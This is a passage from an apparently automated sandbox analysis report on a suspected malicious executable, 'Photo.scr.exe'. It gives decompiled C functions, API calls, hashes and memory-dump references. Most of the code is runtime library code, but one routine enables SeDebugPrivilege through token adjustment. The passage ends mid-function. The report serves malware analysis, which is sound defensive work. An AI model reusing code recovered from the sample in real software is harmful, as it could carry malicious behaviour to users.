0x001e7da4
0x001e7d71
0x001e7dab
0x001e7dae
0x001e7dae
0x001e7dbc

APIs

GetEnvironmentStringsW.KERNEL32 ref: 001E7D43
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001E7D66

Part of subcall function 001E0964: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,001E81BF,00000000,?,001E0B60,?,00000008,?,001E3D50,?,?,?), ref: 001E0996

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 001E7D8C
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001E7DAE

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap
String ID:
API String ID: 1794362364-0
Opcode ID: 2b74015afff647b0f206f7c600cc343524ddada2fcda59dec0fef4a1710c8d77
Instruction ID: 76ab054c0f6c762900bb128525897efa7f035e2afc990c8b632d2498882f44d4
Opcode Fuzzy Hash: 2b74015afff647b0f206f7c600cc343524ddada2fcda59dec0fef4a1710c8d77
Instruction Fuzzy Hash: 11018872605A957F77221AF75C4CC7F6A6DEFC6BA43150119F908D6141EF618D01C1B0

Uniqueness

Uniqueness Score: -1.00%

Function 001DD073 Relevance: 6.1, APIs: 4, Instructions: 65
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E001DD073(struct _FILETIME _a4, intOrPtr _a8, signed int _a12, void* _a16) {
				signed int _v8;
				struct _SYSTEMTIME _v24;
				struct _SYSTEMTIME _v40;
				signed int _v44;
				signed int _t20;
				signed int _t26;
				signed int _t27;
				signed int _t43;
				signed int _t46;

				_t20 =  *0x1fc008; // 0x369f4a24
				_v8 = _t20 ^ _t46;
				if(_a4.dwLowDateTime != 0 || _a8 != 0) {
					if(FileTimeToSystemTime( &_a4,  &_v40) == 0 || SystemTimeToTzSpecificLocalTime(0,  &_v40,  &_v24) == 0) {
						_t26 = E001DCB06(GetLastError());
						goto L8;
					} else {
						_v44 = _v44 | 0xffffffff;
						_t27 = E001DD11D( &_v24,  &(_v24.wMonth),  &(_v24.wDay),  &(_v24.wHour),  &(_v24.wMinute),  &(_v24.wSecond),  &_v44);
						if((_t27 & _t43) == 0xffffffff) {
							_t26 = E001DCB3C();
							 *_t26 = 0x84;
							L8:
							_t27 = _t26 | 0xffffffff;
						}
					}
				} else {
					_t27 = _a12;
				}
				E001D7760();
				return _t27;
			}

0x001dd07b
0x001dd082
0x001dd089
0x001dd0a9
0x001dd104
0x00000000
0x001dd0bf
0x001dd0bf
0x001dd0df
0x001dd0ee
0x001dd0f0
0x001dd0f5
0x001dd10a
0x001dd10a
0x001dd10d
0x001dd0ee
0x001dd091
0x001dd091
0x001dd094
0x001dd114
0x001dd11c

APIs

FileTimeToSystemTime.KERNEL32(00000000,?,?,?,00000000,00000000,000000FF,?,?,00000000), ref: 001DD0A1
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 001DD0B5
GetLastError.KERNEL32 ref: 001DD0FD
__dosmaperr.LIBCMT ref: 001DD104

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: Time$System$ErrorFileLastLocalSpecific__dosmaperr
String ID:
API String ID: 593088924-0
Opcode ID: 147ac21ecaee05cbbc63e3021653ac79a54f26a7d9048837682468d90636e182
Instruction ID: 94b5ae829b5b200f6e9d964cd2fdf7f79a6a1223bac08ef7b002c236ae833336
Opcode Fuzzy Hash: 147ac21ecaee05cbbc63e3021653ac79a54f26a7d9048837682468d90636e182
Instruction Fuzzy Hash: 9621C97290010DABCB15DFE0E945AEE77BCAB48360F504667F516E6280EB34DA49CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001E4347 Relevance: 6.0, APIs: 4, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 71%

			E001E4347(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x1fc238; // 0x5
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E001E0A4F(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E001E3769(_t25, __eflags,  *0x1fc238, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E001E41B9(_t25, _t31, 0x20a400);
							E001E092A(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E001E092A();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E001E0A0C(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x1fc238; // 0x5
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E001E0A4F(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E001E3769(_t27, __eflags,  *0x1fc238, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E001E41B9(_t27, _t32, 0x20a400);
									E001E092A(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E001E092A();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E001E3713(_t25, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E001E3713(_t23, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x001e4347
0x001e4347
0x001e4347
0x001e4351
0x001e4353
0x001e4358
0x001e435b
0x001e4369
0x001e4370
0x001e4375
0x001e4378
0x001e437b
0x001e438d
0x001e4392
0x001e4394
0x001e439f
0x001e43a6
0x001e43ab
0x001e43ae
0x001e43b0
0x00000000
0x00000000
0x00000000
0x00000000
0x001e4396
0x001e4396
0x00000000
0x001e4396
0x001e437d
0x001e437d
0x001e437e
0x001e437e
0x001e4383
0x001e43be
0x001e43bf
0x001e43c5
0x001e43ca
0x001e43cd
0x001e43ce
0x001e43cf
0x001e43d6
0x001e43d8
0x001e43da
0x001e43df
0x001e43e2
0x001e43f0
0x001e43fc
0x001e43ff
0x001e4402
0x001e4414
0x001e4419
0x001e441b
0x001e4426
0x001e442c
0x001e4434
0x001e4436
0x00000000
0x00000000
0x00000000
0x00000000
0x001e441d
0x001e441d
0x00000000
0x001e441d
0x001e4404
0x001e4404
0x001e4405
0x001e4405
0x001e4438
0x001e4439
0x001e4439
0x001e43e4
0x001e43ea
0x001e43ee
0x001e4441
0x001e4442
0x001e4448
0x00000000
0x00000000
0x00000000
0x001e43ee
0x001e444f
0x001e444f
0x001e435d
0x001e4363
0x001e4367
0x001e43b2
0x001e43b3
0x001e43bd
0x00000000
0x00000000
0x00000000
0x001e4367

APIs

GetLastError.KERNEL32(?,?,001DB13F,?,?,?,001DAA3E,?,?,?), ref: 001E434B
SetLastError.KERNEL32(00000000,?,?), ref: 001E43B3
SetLastError.KERNEL32(00000000,?,?), ref: 001E43BF
_abort.LIBCMT ref: 001E43C5

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ErrorLast$_abort
String ID:
API String ID: 88804580-0
Opcode ID: ba1049afde466936edbd58a5d0d143a0b1f31d4df3a52c3326e75da149157364
Instruction ID: f98bf96f335d98da519d425cedefd95bac45f76667683f67cda2276564108282
Opcode Fuzzy Hash: ba1049afde466936edbd58a5d0d143a0b1f31d4df3a52c3326e75da149157364
Instruction Fuzzy Hash: C9F0283A500EA027D313733B6D0AF2E315BAFD5760B220115F91DD7293EF708C829151

Uniqueness

Uniqueness Score: -1.00%

Function 001D8F76 Relevance: 6.0, APIs: 4, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E001D8F76() {
				void* _t4;
				void* _t8;

				E001D947A();
				E001D940E();
				if(E001D918B() != 0) {
					_t4 = E001D913D(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E001D91C7();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x001d8f76
0x001d8f7b
0x001d8f87
0x001d8f8c
0x001d8f91
0x001d8f93
0x001d8f9e
0x001d8f95
0x001d8f95
0x00000000
0x001d8f95
0x001d8f89
0x001d8f89
0x001d8f8b
0x001d8f8b

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 001D8F76
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 001D8F7B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 001D8F80

Part of subcall function 001D918B: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 001D919C

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 001D8F95

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 0d1cce8cd6ad29565cc01ba6ab5adb5e081a06ddc6a320bc73fd939d018c0a5a
Instruction ID: 7d37a083b24756b864ce25cd02085880e9155f75d88835f1ec8cc60396cb2ab9
Opcode Fuzzy Hash: 0d1cce8cd6ad29565cc01ba6ab5adb5e081a06ddc6a320bc73fd939d018c0a5a
Instruction Fuzzy Hash: 67C048581542A2741D603BB0621A2AE03220CB23E9F8815C3F9821B703CF0A440B64B3

Uniqueness

Uniqueness Score: -1.00%

Function 001DDA7A Relevance: 5.1, APIs: 4, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E001DDA7A(short* _a4, char* _a8, int _a12, intOrPtr _a16) {
				char* _v8;
				int _v12;
				char _v16;
				char _v24;
				char _v28;
				void* __ebx;
				char _t34;
				int _t35;
				int _t38;
				long _t39;
				char* _t42;
				int _t44;
				int _t47;
				int _t53;
				intOrPtr _t55;
				void* _t56;
				char* _t57;
				char* _t62;
				char* _t63;
				void* _t64;
				int _t65;
				short* _t67;
				short* _t68;
				int _t69;
				intOrPtr* _t70;

				_t53 = _a12;
				_t67 = _a4;
				_t68 = 0;
				if(_t67 == 0) {
					L3:
					if(_a8 != _t68) {
						E001DB101(_t53,  &_v28, _t64, _a16);
						_t34 = _v24;
						__eflags = _t67;
						if(_t67 == 0) {
							__eflags =  *((intOrPtr*)(_t34 + 0xa8)) - _t68;
							if( *((intOrPtr*)(_t34 + 0xa8)) != _t68) {
								_t69 = _t68 | 0xffffffff;
								_t35 = MultiByteToWideChar( *(_t34 + 8), 9, _a8, _t69, _t68, _t68);
								__eflags = _t35;
								if(_t35 != 0) {
									L29:
									_t28 = _t35 - 1; // -1
									_t69 = _t28;
									L30:
									__eflags = _v16;
									if(_v16 != 0) {
										_t55 = _v28;
										_t31 = _t55 + 0x350;
										 *_t31 =  *(_t55 + 0x350) & 0xfffffffd;
										__eflags =  *_t31;
									}
									return _t69;
								}
								 *((intOrPtr*)(E001DCB3C())) = 0x2a;
								goto L30;
							}
							_t70 = _a8;
							_t56 = _t70 + 1;
							do {
								_t38 =  *_t70;
								_t70 = _t70 + 1;
								__eflags = _t38;
							} while (_t38 != 0);
							_t69 = _t70 - _t56;
							goto L30;
						}
						__eflags =  *((intOrPtr*)(_t34 + 0xa8)) - _t68;
						if( *((intOrPtr*)(_t34 + 0xa8)) != _t68) {
							_t69 = _t68 | 0xffffffff;
							_t35 = MultiByteToWideChar( *(_t34 + 8), 9, _a8, _t69, _t67, _t53);
							__eflags = _t35;
							if(_t35 != 0) {
								goto L29;
							}
							_t39 = GetLastError();
							__eflags = _t39 - 0x7a;
							if(_t39 != 0x7a) {
								L21:
								 *((intOrPtr*)(E001DCB3C())) = 0x2a;
								 *_t67 = 0;
								goto L30;
							}
							_t42 = _a8;
							_t57 = _t42;
							_v8 = _t57;
							_t65 = _t53;
							__eflags = _t53;
							if(_t53 == 0) {
								L20:
								_t44 = MultiByteToWideChar( *(_v24 + 8), 1, _t42, _t57 - _t42, _t67, _t53);
								__eflags = _t44;
								if(_t44 != 0) {
									_t69 = _t44;
									goto L30;
								}
								goto L21;
							} else {
								goto L15;
							}
							while(1) {
								L15:
								_t45 =  *_t57;
								_v12 = _t65 - 1;
								__eflags =  *_t57;
								if(__eflags == 0) {
									break;
								}
								_t47 = E001E605E(__eflags, _t45 & 0x000000ff,  &_v24);
								_t62 = _v8;
								__eflags = _t47;
								if(_t47 == 0) {
									L18:
									_t65 = _v12;
									_t57 = _t62 + 1;
									_v8 = _t57;
									__eflags = _t65;
									if(_t65 != 0) {
										continue;
									}
									break;
								}
								_t62 = _t62 + 1;
								__eflags =  *_t62;
								if( *_t62 == 0) {
									goto L21;
								}
								goto L18;
							}
							_t42 = _a8;
							goto L20;
						}
						__eflags = _t53;
						if(_t53 == 0) {
							goto L30;
						}
						_t63 = _a8;
						while(1) {
							 *_t67 =  *(_t68 + _t63) & 0x000000ff;
							__eflags =  *(_t68 + _t63);
							if( *(_t68 + _t63) == 0) {
								goto L30;
							}
							_t68 =  &(_t68[0]);
							_t67 =  &(_t67[1]);
							__eflags = _t68 - _t53;
							if(_t68 < _t53) {
								continue;
							}
							goto L30;
						}
						goto L30;
					}
					 *((intOrPtr*)(E001DCB3C())) = 0x16;
					return E001E1691() | 0xffffffff;
				}
				if(_t53 != 0) {
					 *_t67 = 0;
					goto L3;
				}
				return 0;
			}

0x001dda83
0x001dda88
0x001dda8b
0x001dda8f
0x001dda9e
0x001ddaa1
0x001ddac1
0x001ddac6
0x001ddac9
0x001ddacb
0x001ddb99
0x001ddb9f
0x001ddbb4
0x001ddbc0
0x001ddbc6
0x001ddbc8
0x001ddbd7
0x001ddbd7
0x001ddbd7
0x001ddbda
0x001ddbda
0x001ddbde
0x001ddbe0
0x001ddbe3
0x001ddbe3
0x001ddbe3
0x001ddbe3
0x00000000
0x001ddbea
0x001ddbcf
0x00000000
0x001ddbcf
0x001ddba1
0x001ddba4
0x001ddba7
0x001ddba7
0x001ddba9
0x001ddbaa
0x001ddbaa
0x001ddbae
0x00000000
0x001ddbae
0x001ddad1
0x001ddad7
0x001ddb04
0x001ddb10
0x001ddb16
0x001ddb18
0x00000000
0x00000000
0x001ddb1e
0x001ddb24
0x001ddb27
0x001ddb83
0x001ddb88
0x001ddb90
0x00000000
0x001ddb90
0x001ddb29
0x001ddb2c
0x001ddb2e
0x001ddb31
0x001ddb33
0x001ddb35
0x001ddb6b
0x001ddb79
0x001ddb7f
0x001ddb81
0x001ddb95
0x00000000
0x001ddb95
0x00000000
0x00000000
0x00000000
0x00000000
0x001ddb37
0x001ddb37
0x001ddb37
0x001ddb3a
0x001ddb3d
0x001ddb3f
0x00000000
0x00000000
0x001ddb49
0x001ddb50
0x001ddb53
0x001ddb55
0x001ddb5d
0x001ddb5d
0x001ddb60
0x001ddb61
0x001ddb64
0x001ddb66
0x00000000
0x00000000
0x00000000
0x001ddb66
0x001ddb57
0x001ddb58
0x001ddb5b
0x00000000
0x00000000
0x00000000
0x001ddb5b
0x001ddb68
0x00000000
0x001ddb68
0x001ddad9
0x001ddadb
0x00000000
0x00000000
0x001ddae1
0x001ddae4
0x001ddae8
0x001ddaeb
0x001ddaef
0x00000000
0x00000000
0x001ddaf5
0x001ddaf6
0x001ddaf9
0x001ddafb
0x00000000
0x00000000
0x00000000
0x001ddafd
0x00000000
0x001ddae4
0x001ddaa8
0x00000000
0x001ddab3
0x001dda95
0x001dda9b
0x00000000
0x001dda9b
0x001ddbf2

APIs

MultiByteToWideChar.KERNEL32(00000000,00000009,?,00000000,?,?,?,00000000,?,00000002), ref: 001DDB10
GetLastError.KERNEL32(?,00000002), ref: 001DDB1E
MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,?,?,?,00000002), ref: 001DDB79

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 2d1b9ace655a0cc9b45f2081f513a18d39584694895fbf306fd345a5a23814a9
Instruction ID: c56ca13af73ceac978172e0351b9ce9d10717aa1ab6be57a4ca5e35be9a96c6b
Opcode Fuzzy Hash: 2d1b9ace655a0cc9b45f2081f513a18d39584694895fbf306fd345a5a23814a9
Instruction Fuzzy Hash: F341F530604246AFCF258F68EC44BBA7BB4EF12324F16815BF85A9B391DB319D01C791

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Photo.scr.exePID: 6996, Parent PID: 6900COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.9%
Total number of Nodes:	329
Total number of Limit Nodes:	27

Executed Functions

Function 10002D19 Relevance: 28.4, APIs: 12, Strings: 4, Instructions: 394
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyArg_Parse.PYTHON27(?,1000845C,?,?), ref: 10002D61

Part of subcall function 10002640: PyArg_Parse.PYTHON27(?,10008278,?,?), ref: 10002657

Strings

Unknown ciphertext feedback mode %i; this shouldn't happen, xrefs: 1000317B
No memory available in _AES decrypt, xrefs: 10002E21
Input strings must be a multiple of the segment size %i in length, xrefs: 10002DEE
Input strings must be a multiple of %i in length, xrefs: 10002DB2

Memory Dump Source

Source File: 00000001.00000002.431765876.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.431757936.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.0000000010008000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431765876.000000001000A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431800148.000000001000B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.431809437.000000001000D000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Photo.jbxd

Similarity

API ID: Arg_Parse
String ID: Input strings must be a multiple of %i in length$Input strings must be a multiple of the segment size %i in length$No memory available in _AES decrypt$Unknown ciphertext feedback mode %i; this shouldn't happen
API String ID: 2808742207-4241125248
Opcode ID: 2c437d121ba1ec8d3907c33f08ba3072411fecc45d02418a6c230e76c9ae3ece
Instruction ID: 50dd2ec2cec88198311dfcbaffbbaa73ac7af56e5f088be47caa55b611f03536
Opcode Fuzzy Hash: 2c437d121ba1ec8d3907c33f08ba3072411fecc45d02418a6c230e76c9ae3ece
Instruction Fuzzy Hash: 47E1F4B55083929FD314CF28C88095BBBE5FFC9244F058A6DF8868731AE731E959CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02762190 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 194
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyList_New.PYTHON27 ref: 027621A7
PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 027621D5
PyErr_SetString.PYTHON27(?,GetSystemInfo() failed to retrieve CPU count), ref: 02762207
PyErr_NoMemory.PYTHON27 ref: 02762232
NtQuerySystemInformation.NTDLL(00000008,00000000,?,00000000), ref: 02762243
6C423B4E.MSVCR90(?), ref: 027623A7

Strings

GetSystemInfo() failed to retrieve CPU count, xrefs: 02762201
N;Bl, xrefs: 02762362, 027623A7
GetActiveProcessorCount() not available; using GetSystemInfo(), xrefs: 027621E3
(ddddd), xrefs: 02762319
NtQuerySystemInformation(SystemProcessorPerformanceInformation), xrefs: 0276224D

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_$C423FromInformationList_MemoryQueryStringSystemWindows
String ID: (ddddd)$GetActiveProcessorCount() not available; using GetSystemInfo()$GetSystemInfo() failed to retrieve CPU count$N;Bl$NtQuerySystemInformation(SystemProcessorPerformanceInformation)
API String ID: 1388414461-121246572
Opcode ID: 6741e2c05702edad8e439b51d34bbbcd74dd90ed239b18b08374a5109a5de15d
Instruction ID: a1d6b9fea7016fed8d6a88bcacd47d930617114b97c9c23eca76277d0226dc08
Opcode Fuzzy Hash: 6741e2c05702edad8e439b51d34bbbcd74dd90ed239b18b08374a5109a5de15d
Instruction Fuzzy Hash: 6561F672F40302DBD360AE52E84D66777A4FB44754B254E18ED4993252FB32D925CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 02766F10 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E02766F10(CHAR* __ecx, void* __edi, intOrPtr _a4) {
				int _v4;
				intOrPtr _v8;
				struct _TOKEN_PRIVILEGES _v16;
				signed int _v20;
				intOrPtr _v24;
				struct _TOKEN_PRIVILEGES _v32;
				struct _LUID _v40;
				long _v44;
				int _t25;
				int _t28;
				int _t30;
				void* _t45;

				_t45 = __edi;
				_v44 = 0x10;
				_t25 = LookupPrivilegeValueA(0, __ecx,  &_v40); // executed
				if(_t25 != 0) {
					_v16.Privileges = _v40.LowPart;
					_v8 = _v40.HighPart;
					_v16.PrivilegeCount = 1;
					_v4 = 0;
					_t28 = AdjustTokenPrivileges(__edi, 0,  &_v16, 0x10,  &_v32,  &_v44); // executed
					if(_t28 != 0) {
						_v32.PrivilegeCount = 1;
						_v32.Privileges = _v40.LowPart;
						_v24 = _v40.HighPart;
						if(_a4 == 0) {
							_v20 = _v20 & 0xfffffffd;
						} else {
							_v20 = _v20 | 0x00000002;
						}
						_t30 = AdjustTokenPrivileges(_t45, 0,  &_v32, _v44, 0, 0); // executed
						if(_t30 != 0) {
							return 0;
						} else {
							E02761090("AdjustTokenPrivileges");
							return 1;
						}
					} else {
						E02761090("AdjustTokenPrivileges");
						return 1;
					}
				} else {
					E02761090("LookupPrivilegeValue");
					return 1;
				}
			}

0x02766f10
0x02766f1b
0x02766f23
0x02766f2b
0x02766f57
0x02766f62
0x02766f6e
0x02766f76
0x02766f7e
0x02766f82
0x02766fa8
0x02766fb0
0x02766fb4
0x02766fb8
0x02766fc1
0x02766fba
0x02766fba
0x02766fba
0x02766fd7
0x02766fdb
0x02766ffa
0x02766fdd
0x02766fe2
0x02766ff3
0x02766ff3
0x02766f84
0x02766f89
0x02766f9a
0x02766f9a
0x02766f2d
0x02766f32
0x02766f42
0x02766f42

APIs

LookupPrivilegeValueA.ADVAPI32 ref: 02766F23
AdjustTokenPrivileges.KERNELBASE ref: 02766F7E

Part of subcall function 02761090: GetLastError.KERNEL32 ref: 027610B2
Part of subcall function 02761090: PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000), ref: 027610B9

Strings

AdjustTokenPrivileges, xrefs: 02766F84
SeDebugPrivilege, xrefs: 02766F18
LookupPrivilegeValue, xrefs: 02766F2D
AdjustTokenPrivileges, xrefs: 02766FDD

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: AdjustErr_ErrorFilenameFromLastLookupPrivilegePrivilegesTokenValueWindowsWith
String ID: AdjustTokenPrivileges$AdjustTokenPrivileges$LookupPrivilegeValue$SeDebugPrivilege
API String ID: 2462482343-530743942
Opcode ID: f06a787097992fb8c32247b4d5a2de2d5b6baf95c7ac0aa8ed487355e1d4e55a
Instruction ID: 01eeeb832b44a33e3030e4f29c01a2ca91369d660f1b27e841c287765bf19990
Opcode Fuzzy Hash: f06a787097992fb8c32247b4d5a2de2d5b6baf95c7ac0aa8ed487355e1d4e55a
Instruction Fuzzy Hash: 5D2153B5608301AFE714CF15D989BBB77E8AB84704F40491DF98996280F3B5EA488B93

Uniqueness

Uniqueness Score: -1.00%

Function 02771ED0 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 891
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			_entry_(intOrPtr _a4, char _a8, intOrPtr _a12, signed short _a380, signed short _a404, unsigned short _a428, unsigned short _a452, unsigned short _a476, unsigned short _a508) {
				char _v3;
				char _v5;
				long _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				long _v32;
				void* _v36;
				long _v60;
				signed int _v64;
				signed int _v65;
				signed int _v72;
				signed int _v76;
				void* _v80;
				signed int _v84;
				void* _v88;
				long _v92;
				void* _v96;
				void* _v100;
				long _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				void* _v120;
				void* _v124;
				signed int _v128;
				void* _v132;
				void* _v136;
				void* _v140;
				long _v144;
				void* _v148;
				signed int _v152;
				long _v156;
				long _v160;
				void* _v164;
				void* _v168;
				void* _v172;
